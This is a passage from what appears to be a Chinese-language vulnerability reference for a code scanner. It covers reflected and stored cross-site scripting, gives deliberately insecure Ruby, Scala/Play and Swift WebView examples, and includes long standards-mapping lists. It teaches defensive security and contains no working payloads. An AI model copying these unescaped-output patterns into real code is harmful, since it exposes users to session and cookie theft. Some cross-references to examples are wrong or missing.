[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

例 1:以下 Ruby 代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种利用易受攻击的 Web 应用程序的机制称为 Reflected XSS,但请注意,如果按Example 1 所示使用 Rack::Request#params(),则会看到 GETPOST 这两个参数,因此可能很容易受到各种类型的攻击,而不仅仅是将恶意代码附加到 URL 中。

例 2:下面的 Ruby 代码片段会根据一个特定的雇员 ID 来查询数据库,并显示出相应的雇员姓名。


...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.ruby.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

示例 1:以下 Play 控制器代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。


def getEmployee = Action { implicit request =>
val eid = request.getQueryString("eid")

val employee = getEmployee(eid)

if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}


如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.scala.cross_site_scripting_reflected
Abstract
该方法向 Web 浏览器发送未经验证的数据,会导致导致浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入网页。对于 Reflected XSS,不可信赖的数据源通常为用户组件、URL 方案处理程序或通知,而对于 Persistent(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2. 未检验包含在动态内容中的数据,便将其传送给了 WKWebView 组件。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

示例 1:以下代码可读取 UITextField 的内容并在 WKWebView 内将其显示给用户:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


如果 inputTextField 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 inputTextField 中的文本包括元字符或源代码,那么可以由 Web 浏览器在显示 HTTP 响应的过程中以代码方式执行输入。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己设备上运行的内容呢?真正的危险在于,攻击者可能会使用电子邮件或社交工程手段引诱受害者执行此类操作。此诡计得逞后,受害者会不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的设备中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

示例 2:下面的 Swift 代码片段会读取传递至并调用应用程序 (myapp://input_to_the_application) 的自定义 URL 方案的文本部分。然后,该 URL 中不受信赖的数据将用于呈现 UIWebView 组件中的 HTML 输出。


func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}


如同Example 2,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 内容中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从用户可控的 UI 组件中直接读取数据,并反馈到 HTTP 响应中。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,目标应用程序外部的源使用目标应用程序的自定义 URL 方案发出 URL 请求,该 URL 请求中未经验证的数据随后作为可信数据读回应用程序并包含在动态内容中。

- 如Example 3 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
